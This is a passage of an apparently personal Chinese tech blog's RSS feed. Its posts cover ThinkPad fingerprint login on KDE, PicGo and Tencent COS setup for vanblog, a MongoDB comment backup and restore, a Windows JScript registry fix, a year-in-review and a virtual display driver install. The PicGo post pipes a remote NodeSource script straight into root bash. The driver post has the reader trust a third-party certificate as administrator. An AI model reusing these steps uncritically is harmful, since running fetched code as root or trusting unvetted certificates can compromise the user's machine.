<pre class="hljs" style="background: #f3f3f3; padding: 8px;><code><span class="hljs-built_in">sudo</span> apt update &amp;&amp; <span class="hljs-built_in">sudo</span> apt install -y fprintd libpam-fprintd
</code></pre>
<hr>
<h1>十、指纹认证的理论知识</h1>
<h2>1. Linux 指纹认证的工作原理</h2>
<p>在 Linux 系统中，指纹识别通常由以下几个组件协同完成：</p>
<h3>硬件层</h3>
<p>即笔记本内置的指纹传感器，例如：</p>
<ul>
<li>Synaptics</li>
<li>Goodix</li>
<li>Validity</li>
</ul>
<p>负责采集指纹图像或生物特征数据。</p>
<h3>驱动层</h3>
<p>Linux 内核负责识别 USB / SPI 指纹设备，并提供设备访问接口。</p>
<h3>用户空间服务层</h3>
<p>常见组件：</p>
<ul>
<li>fprintd</li>
<li>libfprint</li>
</ul>
<p>作用：</p>
<ul>
<li>管理指纹设备</li>
<li>录入指纹模板</li>
<li>执行比对验证</li>
</ul>
<h3>认证层（PAM）</h3>
<p>Linux 登录认证通常通过 PAM（Pluggable Authentication Modules）实现。</p>
<p>当启用指纹后，PAM 会调用：</p>
<p>pam_fprintd.so</p>
<p>从而在登录、sudo、锁屏时加入指纹验证流程。</p>
<hr>
<h2>2. 指纹录入并不是保存图片</h2>
<p>很多人误以为系统保存了一张指纹照片，实际并不是。</p>
<p>系统通常保存的是：</p>
<ul>
<li>特征点</li>
<li>纹路方向</li>
<li>局部结构信息</li>
<li>加密后的模板数据</li>
</ul>
<p>这类数据用于匹配，不可直接还原完整指纹图像。</p>
<hr>
<h2>3. 为什么录入时要按压多次</h2>
<p>因为系统需要采集多个角度和区域：</p>
<ul>
<li>手指偏左</li>
<li>偏右</li>
<li>角度倾斜</li>
<li>压力变化</li>
<li>局部遮挡情况</li>
</ul>
<p>这样能提高后续识别成功率。</p>
<hr>
<h2>4. 指纹认证的优缺点</h2>
<h3>优点</h3>
<ul>
<li>登录速度快</li>
<li>日常 sudo 更方便</li>
<li>不必频繁输入密码</li>
<li>移动办公体验更好</li>
</ul>
<h3>缺点</h3>
<ul>
<li>湿手、脏手识别率下降</li>
<li>手指出汗会影响成功率</li>
<li>无法远程使用</li>
<li>高安全场景仍需密码</li>
</ul>
<hr>
<h2>5. 为什么仍然建议保留密码</h2>
<p>密码是“知识因子”，指纹是“生物因子”。</p>
<p>两者组合更安全：</p>
<ul>
<li>指纹用于高频便捷操作</li>
<li>密码用于兜底恢复</li>
<li>加密磁盘仍建议使用密码</li>
</ul>
<hr>
<h2>6. ThinkPad 指纹模块为何兼容性较好</h2>
<p>ThinkPad 商务系列长期面向企业市场，硬件标准化程度高，Linux 社区适配较积极，因此在 Linux 下兼容性通常优于很多消费级机型。</p>
<hr>
<h2>7. 实际使用建议</h2>
<p>推荐模式：</p>
<ul>
<li>开机登录：密码 / 指纹均可</li>
<li>锁屏解锁：优先指纹</li>
<li>sudo 提权：优先指纹</li>
<li>磁盘加密：强密码</li>
</ul>
<p>这样兼顾效率与安全。</p>
<hr>
<h2>总结</h2>
<p>指纹认证本质上是提升“本地使用效率”的认证方式。<br>
它不是密码的替代品，而是密码体系的补充。</p>
]]></description>
            <content:encoded><![CDATA[<div class="markdown-body rss">
      <link rel="stylesheet" href="https://www.casear.net/markdown.css">
      <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/KaTeX/0.5.1/katex.min.css">
      <link rel="stylesheet" href="https://cdn.jsdelivr.net/gh/highlightjs/cdn-release@11.6.0/build/styles/default.min.css">
      <h1>ThinkPad T490s Linux 指纹模块启用指南（KDE / Kubuntu）</h1>
<blockquote>
<p>设备：ThinkPad T490s<br>
系统：Kubuntu / Ubuntu KDE / 其他 Linux<br>
桌面环境：KDE Plasma<br>
功能目标：启用指纹登录、sudo 指纹验证、锁屏解锁</p>
</blockquote>
<hr>
<h1>一、确认指纹模块是否可用</h1>
<p>安装指纹组件：</p>
<pre class="hljs" style="background: #f3f3f3; padding: 8px;><code><span class="hljs-built_in">sudo</span> apt update
<span class="hljs-built_in">sudo</span> apt install -y fprintd libpam-fprintd
</code></pre>
<p>录入指纹：</p>
<pre class="hljs" style="background: #f3f3f3; padding: 8px;><code>fprintd-enroll
</code></pre>
<p>根据提示多次按压手指。</p>
<p>验证指纹：</p>
<pre class="hljs" style="background: #f3f3f3; padding: 8px;><code>fprintd-verify
</code></pre>
<p>如果显示：</p>
<pre class="hljs" style="background: #f3f3f3; padding: 8px;><code>Verify result: verify-match
</code></pre>
<p>说明设备已正常工作。</p>
<hr>
<h1>二、启用 sudo 指纹认证</h1>
<p>执行：</p>
<pre class="hljs" style="background: #f3f3f3; padding: 8px;><code><span class="hljs-built_in">sudo</span> pam-auth-update
</code></pre>
<p>在弹出的界面中勾选：</p>
<pre class="hljs" style="background: #f3f3f3; padding: 8px;><code>Fingerprint authentication
</code></pre>
<p>保存退出。</p>
<p>测试：</p>
<pre class="hljs" style="background: #f3f3f3; padding: 8px;><code><span class="hljs-built_in">sudo</span> <span class="hljs-built_in">ls</span> /
</code></pre>
<p>提示认证时按压指纹即可。</p>
<hr>
<h1>三、启用登录界面指纹</h1>
<p>KDE 默认登录管理器为 SDDM。</p>
<p>检查当前登录管理器：</p>
<pre class="hljs" style="background: #f3f3f3; padding: 8px;><code><span class="hljs-built_in">cat</span> /etc/X11/default-display-manager
</code></pre>
<p>若输出：</p>
<pre class="hljs" style="background: #f3f3f3; padding: 8px;><code>/usr/bin/sddm
</code></pre>
<p>说明使用的是 KDE 默认登录器。</p>
<p>然后注销系统，在登录界面测试指纹登录。</p>
<hr>
<h1>四、启用锁屏指纹解锁</h1>
<p>锁屏快捷键：</p>
<pre class="hljs" style="background: #f3f3f3; padding: 8px;><code>Win + L
</code></pre>
<p>锁屏后尝试按压指纹。</p>
<p>若部分系统未启用，可安装：</p>
<pre class="hljs" style="background: #f3f3f3; padding: 8px;><code><span class="hljs-built_in">sudo</span> apt install -y kscreenlocker
</code></pre>
<hr>
<h1>五、常见问题修复</h1>
<h2>1. 指纹服务异常</h2>
<pre class="hljs" style="background: #f3f3f3; padding: 8px;><code>systemctl restart fprintd
</code></pre>
<h2>2. 删除并重新录入指纹</h2>
<pre class="hljs" style="background: #f3f3f3; padding: 8px;><code>fprintd-delete <span class="hljs-variable">$USER</span>
fprintd-enroll
</code></pre>
<h2>3. 查看已录入指纹</h2>
<pre class="hljs" style="background: #f3f3f3; padding: 8px;><code>fprintd-list <span class="hljs-variable">$USER</span>
</code></pre>
<hr>
<h1>六、安全建议</h1>
<p>建议保留密码登录作为备用方案：</p>
<ul>
<li>指纹识别失败时可回退密码</li>
<li>更新系统后可避免 PAM 配置异常</li>
<li>首次启动部分场景仍需密码</li>
</ul>
<hr>
<h1>七、最终效果</h1>
<p>启用后可实现：</p>
<ul>
<li>系统登录使用指纹</li>
<li>sudo 提权使用指纹</li>
<li>锁屏解锁使用指纹</li>
</ul>
<hr>
<h1>八、适用机型说明</h1>
<p>ThinkPad T490s 大多数指纹模块在 Linux 下兼容良好，尤其 Synaptics 型号支持度较高。</p>
<hr>
<h1>九、一键安装命令</h1>
<pre class="hljs" style="background: #f3f3f3; padding: 8px;><code><span class="hljs-built_in">sudo</span> apt update &amp;&amp; <span class="hljs-built_in">sudo</span> apt install -y fprintd libpam-fprintd
</code></pre>
<hr>
<h1>十、指纹认证的理论知识</h1>
<h2>1. Linux 指纹认证的工作原理</h2>
<p>在 Linux 系统中，指纹识别通常由以下几个组件协同完成：</p>
<h3>硬件层</h3>
<p>即笔记本内置的指纹传感器，例如：</p>
<ul>
<li>Synaptics</li>
<li>Goodix</li>
<li>Validity</li>
</ul>
<p>负责采集指纹图像或生物特征数据。</p>
<h3>驱动层</h3>
<p>Linux 内核负责识别 USB / SPI 指纹设备，并提供设备访问接口。</p>
<h3>用户空间服务层</h3>
<p>常见组件：</p>
<ul>
<li>fprintd</li>
<li>libfprint</li>
</ul>
<p>作用：</p>
<ul>
<li>管理指纹设备</li>
<li>录入指纹模板</li>
<li>执行比对验证</li>
</ul>
<h3>认证层（PAM）</h3>
<p>Linux 登录认证通常通过 PAM（Pluggable Authentication Modules）实现。</p>
<p>当启用指纹后，PAM 会调用：</p>
<p>pam_fprintd.so</p>
<p>从而在登录、sudo、锁屏时加入指纹验证流程。</p>
<hr>
<h2>2. 指纹录入并不是保存图片</h2>
<p>很多人误以为系统保存了一张指纹照片，实际并不是。</p>
<p>系统通常保存的是：</p>
<ul>
<li>特征点</li>
<li>纹路方向</li>
<li>局部结构信息</li>
<li>加密后的模板数据</li>
</ul>
<p>这类数据用于匹配，不可直接还原完整指纹图像。</p>
<hr>
<h2>3. 为什么录入时要按压多次</h2>
<p>因为系统需要采集多个角度和区域：</p>
<ul>
<li>手指偏左</li>
<li>偏右</li>
<li>角度倾斜</li>
<li>压力变化</li>
<li>局部遮挡情况</li>
</ul>
<p>这样能提高后续识别成功率。</p>
<hr>
<h2>4. 指纹认证的优缺点</h2>
<h3>优点</h3>
<ul>
<li>登录速度快</li>
<li>日常 sudo 更方便</li>
<li>不必频繁输入密码</li>
<li>移动办公体验更好</li>
</ul>
<h3>缺点</h3>
<ul>
<li>湿手、脏手识别率下降</li>
<li>手指出汗会影响成功率</li>
<li>无法远程使用</li>
<li>高安全场景仍需密码</li>
</ul>
<hr>
<h2>5. 为什么仍然建议保留密码</h2>
<p>密码是“知识因子”，指纹是“生物因子”。</p>
<p>两者组合更安全：</p>
<ul>
<li>指纹用于高频便捷操作</li>
<li>密码用于兜底恢复</li>
<li>加密磁盘仍建议使用密码</li>
</ul>
<hr>
<h2>6. ThinkPad 指纹模块为何兼容性较好</h2>
<p>ThinkPad 商务系列长期面向企业市场，硬件标准化程度高，Linux 社区适配较积极，因此在 Linux 下兼容性通常优于很多消费级机型。</p>
<hr>
<h2>7. 实际使用建议</h2>
<p>推荐模式：</p>
<ul>
<li>开机登录：密码 / 指纹均可</li>
<li>锁屏解锁：优先指纹</li>
<li>sudo 提权：优先指纹</li>
<li>磁盘加密：强密码</li>
</ul>
<p>这样兼顾效率与安全。</p>
<hr>
<h2>总结</h2>
<p>指纹认证本质上是提升“本地使用效率”的认证方式。<br>
它不是密码的替代品，而是密码体系的补充。</p>
</div>]]></content:encoded>
            <author>casearx@foxmail.com (Casear)</author>
            <category domain="https://www.casear.net//category/Linux">Linux</category>
        </item>
        <item>
            <title><![CDATA[vanblog使用picgo图床的完整部署教程]]></title>
            <link>https://www.casear.net/post/61</link>
            <guid>https://www.casear.net/post/61</guid>
            <pubDate>Tue, 10 Mar 2026 16:13:27 GMT</pubDate>
            <description><![CDATA[<h1>图床是什么？</h1>
<p>图床你可以理解为一个个人云盘 ，你可以将你的图片、视频等进行上传，在云端保存。同时，图床也会为你生成一个网址，通过这个网址，所有人都可以直接查看你的图片、视频等媒体素材。</p>
<h1>vanblog提供的图床配置页面</h1>
<p>其实官方vanblog已经说的很明白如何进行配置了，不过这里更详细的做一下教程，目的是为了方便小白快速上手！</p>
<p>进入vanblog后台-站点管理-系统设置-图床设置，将存储策略从本地改成OSS图床（建议各位先到下面扫描一下文章中的图片并存储在本地图床中，然后再把本地图床的图片导出做个备份）。</p>
]]></description>
            <content:encoded><![CDATA[<div class="markdown-body rss">
      <link rel="stylesheet" href="https://www.casear.net/markdown.css">
      <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/KaTeX/0.5.1/katex.min.css">
      <link rel="stylesheet" href="https://cdn.jsdelivr.net/gh/highlightjs/cdn-release@11.6.0/build/styles/default.min.css">
      <h1>图床是什么？</h1>
<p>图床你可以理解为一个个人云盘 ，你可以将你的图片、视频等进行上传，在云端保存。同时，图床也会为你生成一个网址，通过这个网址，所有人都可以直接查看你的图片、视频等媒体素材。</p>
<h1>vanblog提供的图床配置页面</h1>
<p>其实官方vanblog已经说的很明白如何进行配置了，不过这里更详细的做一下教程，目的是为了方便小白快速上手！</p>
<p>进入vanblog后台-站点管理-系统设置-图床设置，将存储策略从本地改成OSS图床（建议各位先到下面扫描一下文章中的图片并存储在本地图床中，然后再把本地图床的图片导出做个备份）。</p>
<!-- more -->
<p><img src="https://img.casear.net/img/bb84cca171c2bab45251d9ce2d504072.image.webp" alt="image.png"></p>
<p>接下来，开始配置存储策略设置中的内容。<br>
在Vanblog的官方文档中 <a href="https://vanblog.mereith.com/features/image-storage.html#%E7%AC%AC%E4%B8%89%E6%96%B9%E5%9B%BE%E5%BA%8A">写到 </a>要使用picgo-core的配置文件</p>
<p>:::warning{title=&quot;注意&quot;}<br>
VanBlog 使用 picgo-core 配置文件，和桌面版的 picgo 的配置文件不通用！<br>
:::</p>
<p>当然，如果你是大佬，可以直接去看vanblog的部署文档，简洁明了。https://vanblog.mereith.com/feature/basic/pic.html</p>
<h1>配置腾讯云COS</h1>
<p>首先进入腾讯云的对象存储，腾讯云有关对象存储的收费是有三个衡量标准：</p>
<ul>
<li>空间 （相当于买多大的网盘用来存储）</li>
<li>流量 （腾讯云会计算你的下行流量，即访问流量用来计费）</li>
<li>请求数 （也可以粗略理解为访问量）<br>
不过就算你是重度使用，每年的价格也不会很贵，我的每年在COS上花费差不多就在50元/年左右，所以别慌！</li>
</ul>
<ol>
<li>点击创建存储桶</li>
</ol>
<blockquote>
<p>存储桶（Bucket）是对象的载体，可理解为存放对象的“容器”，且该“容器”无容量上限。对象以扁平化结构存放在存储桶中，无文件夹和目录的概念，用户可选择将对象存放到单个或多个存储桶中</p>
</blockquote>
<p><img src="https://img.casear.net/img/9ebf43ac806f2564ec97b527bdbff7ea.image.webp" alt="image.png"></p>
<ol start="2">
<li>按照以下配置来新建存储桶。</li>
</ol>
<p>说明</p>
<p>所属地域建议选择和你博客服务器在同一个城市的地域。</p>
<p>名称起好就不能改了，也会作为你的访问域名</p>
<p>:::warning{title=&quot;注意&quot;}<br>
腾讯云规定<br>
2024年1月1日后创建的存储桶，不支持使用默认域名在浏览器中预览文件，也不支持下载 APK 或 IPA 文件，了解详情 。</p>
<p>默认域名存在安全风险，建议您 配置自定义域名。详情参见 存储桶切换自定义域名 。<br>
:::</p>
<p>访问权限如果你有精力和能力配置策略组，可以选择私有读写，这里我们就选择公有读私有写了。</p>
<p>版本控制看你自己需求，我反正存储空间足够就打开了。</p>
<p>一般来说，图片不怎么需要高可用，这里就不打开多AZ特性了</p>
<p>!/041f7ee7d401006606eed38c09e7bb90.image.webp)</p>
<p>版本控制 日志存储 可以看自己的储存余量和套餐开启</p>
<p>智极压缩可能会增加费用，酌情开启</p>
<p>服务端加密，图片没什么用，就不开了</p>
<p><img src="https://img.casear.net/img/b747d59ece7e508fd52e43a09013e8f6.image.webp" alt="image.png"></p>
<ol start="3">
<li>关注以下几个数据。</li>
</ol>
<p><img src="https://img.casear.net/img/00829e959490ec834119fb652fa49cef.image.webp" alt="image.png"></p>
<ol start="4">
<li>接下来设置一个域名。</li>
</ol>
<p>网址可以选择单独弄一个域名用来做外链，比如我用的就是img.casear.net，当然你也可以选择你的基础域名。</p>
<p><img src="https://img.casear.net/img/b62b2d38972ef23e7db49804d2d8c3ef.image.webp" alt="image.png"></p>
<ol start="5">
<li>在域名与传输管理中选择绑定证书，把自己的证书上传</li>
</ol>
<p><img src="https://img.casear.net/img/fde6c7868ee16f57a1d739d908757335.image.webp" alt="image.png"></p>
<p>接下来去DNSpod把域名解析给做了，注意是CNAME</p>
<p><img src="https://img.casear.net/img/3180b1be407c051eb93df1feaf5fc55f.image.webp" alt="image.png"></p>
<p>有关腾讯云COS的设置就完成了</p>
<h1>配置Picgo</h1>
<p>我这里是在linux上使用npm安装的picgo-core</p>
<pre class="hljs" style="background: #f3f3f3; padding: 8px;><code><span class="hljs-meta prompt_"># </span><span class="language-bash">添加 Node.js LTS 源</span>
curl -fsSL https://deb.nodesource.com/setup_lts.x | sudo -E bash -
<span class="hljs-meta prompt_">
# </span><span class="language-bash">安装 Node.js（包含 npm）</span>
sudo apt install -y nodejs
<span class="hljs-meta prompt_">
#</span><span class="language-bash">全局安装 picgo-core：</span>
sudo npm install -g picgo-core
</code></pre>
<p>根据picgo-core文档中的<a href="https://docs.picgo.app/zh/core/guide/config#%E8%87%AA%E5%8A%A8%E7%94%9F%E6%88%90">自动生成方法</a>生成配置文件</p>
<p>picgo set uploader 的交互式命令行配置推荐</p>
<p>（AI时代大可以把这张图片投喂给ai分析一下，会比我说的更详细一些）</p>
<pre class="hljs" style="background: #f3f3f3; padding: 8px;><code>❯ picgo set uploader                 # 打开 PicGo 上传器配置界面
❯ picgo set uploader                 # 再次执行配置（可覆盖旧配置）
? Choose an uploader tcyun           # 选择上传器，这里选腾讯云 COS (tcyun)
? Choose a config [Create New Config]# 选择创建新配置
? Enter config name demo1            # 配置名称，便于区分不同账户
? version: v5                        # PicGo 或 SDK 版本
? secretId: 12345                    # 腾讯云 COS 的 SecretId（API 密钥 ID）
? secretKey: [hidden]                # 腾讯云 COS 的 SecretKey（API 密钥）
? bucket: 存储桶名称                  # COS 存储桶名称
Set AppId Ex. 1234567890 秘钥id      # 腾讯云账户 AppId
Set Area Ex. ap-beijing ap-shanghai   # COS 所在地域
Set Endpoint Ex. cos-internal.accelerate.tencentcos.cn # COS API 访问域名 （可选，如果你设置了自定义域名就不填）
Set Path Ex. test/ img/              # 上传到 COS 的文件路径前缀
Set Custom URL Ex. http://test.com img.casear.net # 自定义访问域名
Set URL Suffix Ex. ?imageMogr2       # 可选 URL 后缀，用于图片处理（在vanblog的图床中不需要）
Set ImageSlim slim: No               # 是否启用 ImageSlim 图片压缩服务（如果在存储桶选择了智极压缩可以开启）
[PicGo SUCCESS]: Configure config successfully!  # 配置成功提示
</code></pre>
<p><img src="https://img.casear.net/img/6132d44353ecfbb11b9b7855de64798f.image.webp" alt="image.png"></p>
<p>picgo 的默认配置文件为~/.picgo/config.json。其中~为用户目录。不同系统的用户目录不太一样。</p>
<p>复制config.json的内容到 存储策略设置 的 picgo 配置 中点击提交即可</p>
<p><img src="https://img.casear.net/img/67a7184e5ce8ab8c84aa252e8f0606c5.image.webp" alt="image.png"></p>
<p>:::tip{title=&quot;提示&quot;}<br>
感谢张鱼哥同学，他写了一份很详细的 腾讯云 COS 配置指南：</p>
<p><a href="https://www.handyzyg.cn/post/47">vanblog 使用 picgo 图床的完整部署教程</a></p>
<p>本文基于该文章撰写改动而来，目前张鱼哥的博客在2026-3-9无法访问</p>
<p>是通过<a href="https://web.archive.org/web/20250417185917/https://www.handyzyg.cn/post/47">互联网档案馆的镜像</a>查看的<br>
:::</p>
<!-- more -->
</div>]]></content:encoded>
            <author>casearx@foxmail.com (Casear)</author>
            <category domain="https://www.casear.net//category/Linux">Linux</category>
        </item>
        <item>
            <title><![CDATA[vanblog备份恢复评论数据]]></title>
            <link>https://www.casear.net/post/60</link>
            <guid>https://www.casear.net/post/60</guid>
            <pubDate>Sun, 08 Mar 2026 21:50:11 GMT</pubDate>
            <content:encoded><![CDATA[<div class="markdown-body rss">
      <link rel="stylesheet" href="https://www.casear.net/markdown.css">
      <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/KaTeX/0.5.1/katex.min.css">
      <link rel="stylesheet" href="https://cdn.jsdelivr.net/gh/highlightjs/cdn-release@11.6.0/build/styles/default.min.css">
      <!-- more -->
<h1>1. 导出 waline 评论数据库</h1>
<p>在宿主机执行：</p>
<pre class="hljs" style="background: #f3f3f3; padding: 8px;><code>docker <span class="hljs-built_in">exec</span> vanblog-mongo-1 mongodump -d waline -o /data/backup
</code></pre>
<p>说明：</p>
<table>
<thead>
<tr>
<th>参数</th>
<th>含义</th>
</tr>
</thead>
<tbody>
<tr>
<td>-d waline</td>
<td>只导出评论数据库</td>
</tr>
<tr>
<td>-o /data/backup</td>
<td>导出到容器里的目录</td>
</tr>
</tbody>
</table>
<p>执行后容器内会生成：</p>
<pre class="hljs" style="background: #f3f3f3; padding: 8px;><code>/data/backup/waline
</code></pre>
<p>里面通常是：</p>
<pre class="hljs" style="background: #f3f3f3; padding: 8px;><code>Users.bson
Users.metadata.json
</code></pre>
<p>如果以后有评论，还会有：</p>
<pre class="hljs" style="background: #f3f3f3; padding: 8px;><code>Comment.bson
Counter.bson
</code></pre>
<h1>2. 把备份复制到服务器</h1>
<pre class="hljs" style="background: #f3f3f3; padding: 8px;><code>docker <span class="hljs-built_in">cp</span> vanblog-mongo-1:/data/backup ./waline-backup
</code></pre>
<p>备份出来的目录结构应该是这样：</p>
<pre class="hljs" style="background: #f3f3f3; padding: 8px;><code>/waline-backup/
└── waline
    ├── Comment.bson
    ├── Comment.metadata.json
    ├── Users.bson
    └── Users.metadata.json
</code></pre>
<h1>3. （可选）打包备份</h1>
<p>建议压缩一下：</p>
<pre class="hljs" style="background: #f3f3f3; padding: 8px;><code>tar -czvf waline-backup.tar.gz waline-backup
</code></pre>
<h1>4. 恢复评论数据的方法</h1>
<h3>导入数据到服务器：</h3>
<pre class="hljs" style="background: #f3f3f3; padding: 8px;><code>docker <span class="hljs-built_in">cp</span> /home/ubuntu/waline-backup/waline vanblog-mongo-1:/data/waline

</code></pre>
<p>如果是在 Docker：</p>
<pre class="hljs" style="background: #f3f3f3; padding: 8px;><code>docker <span class="hljs-built_in">exec</span> -i vanblog-mongo-1 mongorestore -d waline --drop /data/backup/waline

</code></pre>
<h2>执行恢复</h2>
<pre class="hljs" style="background: #f3f3f3; padding: 8px;><code>docker <span class="hljs-built_in">exec</span> -it vanblog-mongo-1 mongorestore -d waline --drop /data/waline

</code></pre>
<p>参数说明：</p>
<p>|参数	       |作用|</p>
<table>
<thead>
<tr>
<th>-d waline</th>
<th>恢复到 waline 数据库</th>
</tr>
</thead>
<tbody>
<tr>
<td>--drop	先删除旧</td>
<td>collection 再恢复</td>
</tr>
<tr>
<td>/data/waline</td>
<td>备份目录</td>
</tr>
</tbody>
</table>
<h2>验证恢复</h2>
<p>进入 Mongo：</p>
<pre class="hljs" style="background: #f3f3f3; padding: 8px;><code>docker exec -it vanblog-mongo-1 mongo
</code></pre>
<p>然后：</p>
<pre class="hljs" style="background: #f3f3f3; padding: 8px;><code>use waline
show collections
</code></pre>
<p>应该看到：</p>
<pre class="hljs" style="background: #f3f3f3; padding: 8px;><code>Comment
Users
</code></pre>
<p>再检查评论数量：</p>
<pre class="hljs" style="background: #f3f3f3; padding: 8px;><code>db.Comment.count()
</code></pre>
<p>如果返回评论数量 说明恢复成功。</p>
<!-- more -->
</div>]]></content:encoded>
            <author>casearx@foxmail.com (Casear)</author>
            <category domain="https://www.casear.net//category/Linux">Linux</category>
        </item>
        <item>
            <title><![CDATA[解决 OpenConnect VPN 由于 JScript 引擎丢失导致的 Error 1 修复]]></title>
            <link>https://www.casear.net/post/59</link>
            <guid>https://www.casear.net/post/59</guid>
            <pubDate>Sat, 17 Jan 2026 18:42:59 GMT</pubDate>
            <description><![CDATA[<h2>解决 OpenConnect VPN 由于 JScript 引擎丢失导致的 Error 1 深度修复</h2>
<p>最近在个人环境遇到一个非常棘手的问题。在使用 OpenConnect VPN 连接时，明明已经通过了账号密码认证，但最后一步配置路由时总是弹出：<code>Script 'vpnc-script.js' returned error 1</code>。</p>
]]></description>
            <content:encoded><![CDATA[<div class="markdown-body rss">
      <link rel="stylesheet" href="https://www.casear.net/markdown.css">
      <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/KaTeX/0.5.1/katex.min.css">
      <link rel="stylesheet" href="https://cdn.jsdelivr.net/gh/highlightjs/cdn-release@11.6.0/build/styles/default.min.css">
      <h2>解决 OpenConnect VPN 由于 JScript 引擎丢失导致的 Error 1 深度修复</h2>
<p>最近在个人环境遇到一个非常棘手的问题。在使用 OpenConnect VPN 连接时，明明已经通过了账号密码认证，但最后一步配置路由时总是弹出：<code>Script 'vpnc-script.js' returned error 1</code>。</p>
<!-- more -->
<h3>1. 发现问题</h3>
<p>起初我以为是权限问题或脚本路径不对，但在手动定位到目录执行时，发现了惊人的报错：</p>
<pre><code>C:\&gt; cscript //E:JScript &quot;D:\...\vpnc-script.js&quot;
</code></pre>
<p>输入错误: 没有文件扩展“.js”的脚本引擎。<br>
这说明系统的 JScript 解析引擎 彻底消失了。回想起之前安装并卸载过一个叫“节点小宝”的软件，原因显而易见：这些软件会劫持脚本关联，卸载时却没把原生的还给 Windows。</p>
<h3>2. 核心修复步骤</h3>
<p>对于我来说，最担心的就是破坏现有的系统环境，因为我电脑上的环境已经复杂到不想重装系统了。实测证明，修复 JScript 关联是非常安全的操作。</p>
<p>恢复注册表关联：创建并运行以下 fix.reg 文件：</p>
<pre><code class="language-reg">Windows Registry Editor Version 5.00
[HKEY_CLASSES_ROOT\.js]
@=&quot;JSFile&quot;
&quot;Content Type&quot;=&quot;text/jscript&quot;
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JSFile\ScriptEngine]
@=&quot;JScript&quot;
</code></pre>
<h3>3. 总结</h3>
<p>这次修复不仅解决了 VPN 无法连接的问题，还意外发现系统中其他依赖 WSH (Windows Script Host) 的脚本工具也都恢复了。</p>
<p>:::warning{title=&quot;建议&quot;}<br>
定期清理这类修改系统底层的软件，或者在沙盒中运行它们是很有必要的。<br>
:::</p>
<!-- more -->
</div>]]></content:encoded>
            <author>casearx@foxmail.com (Casear)</author>
            <category domain="https://www.casear.net//category/Desktop">Desktop</category>
        </item>
        <item>
            <title><![CDATA[Fuck 2025]]></title>
            <link>https://www.casear.net/post/58</link>
            <guid>https://www.casear.net/post/58</guid>
            <pubDate>Sun, 04 Jan 2026 14:34:29 GMT</pubDate>
            <content:encoded><![CDATA[<div class="markdown-body rss">
      <link rel="stylesheet" href="https://www.casear.net/markdown.css">
      <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/KaTeX/0.5.1/katex.min.css">
      <link rel="stylesheet" href="https://cdn.jsdelivr.net/gh/highlightjs/cdn-release@11.6.0/build/styles/default.min.css">
      <!-- more -->
<ul>
<li>
<h1>1-5月 休息 打游戏</h1>
<p>一到五月可以说是在自我麻痹，以为在当时还有在做GTA服务器，又在筹备考试，分身乏术</p>
</li>
<li>
<h1>6-7月 驾驶证 毕业 退租</h1>
<p>休息完了，也临近毕业季，着手开始科二，回老家一个月终于把驾照拿下来了，然后就是马不停蹄的毕业，但是我当时对毕业没什么感觉，大部分的同学关系都一般，只是和专业课老师吃了顿饭，就当是结束了。退租的事情不是很愉快，最后草草收拾了一下就离开了，大部分电子设备也留在了内蒙</p>
</li>
<li>
<h1>7-8月 北京 老毛 麻痹自己</h1>
<p>退租前就有目标去北京找朋友一起，关系很不错，我们说着要打一万场沙二，在北京的那一个月大部分时间都很开心，除了想着找工作的时候</p>
</li>
<li>
<h1>8-9月 老家 等人 乌兰浩特</h1>
<p>朋友回了日本，我也先回了老家，一是想开车玩玩，二是等等朋友退伍，这一等就是一个月........，后来一起去了乌兰浩特，这个地方真是诡异，标准的发展停滞姿态，还有精神小伙，遂跑路，当时也没地方去，就近就选择了长春</p>
</li>
<li>
<h1>9-12月 长春 找工作 租房 麻木</h1>
<p>长春这个地方更是该死，fxxk you 中介，fxxk you 信号塔贷款，and especially fxxk you 盒饭。一个地方怎么可以这么诡异，这里是美食荒漠吗，全是盒饭和麻辣烫。</p>
<p>再说找工作，为了不回老家我已经在电脑城上班了，我初中的时候就在装系统，没想到毕业了还在装系统，年后一定得换个工作了，一度上班到崩溃，已经想要买个二手车到处转了</p>
</li>
<li>
<p>12 Heartbroken</p>
</li>
</ul>
<!-- more -->
</div>]]></content:encoded>
            <author>casearx@foxmail.com (Casear)</author>
            <category domain="https://www.casear.net//category/分享">分享</category>
        </item>
        <item>
            <title><![CDATA[如何配置一个虚拟显示器，以便远程没有显示器的系统]]></title>
            <link>https://www.casear.net/post/52</link>
            <guid>https://www.casear.net/post/52</guid>
            <pubDate>Mon, 26 Jan 2026 20:47:55 GMT</pubDate>
            <content:encoded><![CDATA[<div class="markdown-body rss">
      <link rel="stylesheet" href="https://www.casear.net/markdown.css">
      <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/KaTeX/0.5.1/katex.min.css">
      <link rel="stylesheet" href="https://cdn.jsdelivr.net/gh/highlightjs/cdn-release@11.6.0/build/styles/default.min.css">
      <!-- more -->
<p>原项目：https://github.com/roshkins/IddSampleDriver</p>
<p>编译好的下载：https://github.com/ge9/IddSampleDriver/releases</p>
<p>另一个编译好的下载：https://github.com/itsmikethetech/Virtual-Display-Driver/releases</p>
<p>1、将下载好的压缩包，内容解压放置到 C:\IddSampleDriver 文件夹下，必须是这个目录，因为代码里写死了。</p>
<p>2、先使用管理员身份运行脚本 C:\IddSampleDriver\installCert.bat 添加驱动证书到系统。</p>
<p>3、再打开 C:\IddSampleDriver\option.txt 文件修改其内容。</p>
<p>下方列出了很多分辨率与帧率的模式，请根据需要保留一个或几个</p>
<p>第一行的数字代表默认使用哪一个</p>
<p>比如最终文件内容可以是：</p>
<p>1<br>
1920, 1080, 60<br>
4、在设备管理器中，添加过时硬件，手动选择驱动，选择显示适配器，从磁盘安装，找到 iddsampledriver.inf 选择安装即可。</p>
<p>5、安装完成即可获得一个不能直接看到的显示器，如需删除，手动在设备管理器中删除即可。</p>
<!-- more -->
</div>]]></content:encoded>
            <author>casearx@foxmail.com (Casear)</author>
            <category domain="https://www.casear.net//category/分享">分享</category>
        </item>
        <item>
            <title><![CDATA[解决kde环境下切换登陆屏幕（SDDM）后显示异常]]></title>
            <link>https://www.casear.net/post/51</link>
            <guid>https://www.casear.net/post/51</guid>
            <pubDate>Thu, 31 Jul 2025 12:07:26 GMT</pubDate>
            <description><![CDATA[<p><img src="https://img.casear.net/img/01a2704f2a63d39a4c79b08892a4f11f.image.webp" alt="image.png"></p>
]]></description>
            <content:encoded><![CDATA[<div class="markdown-body rss">
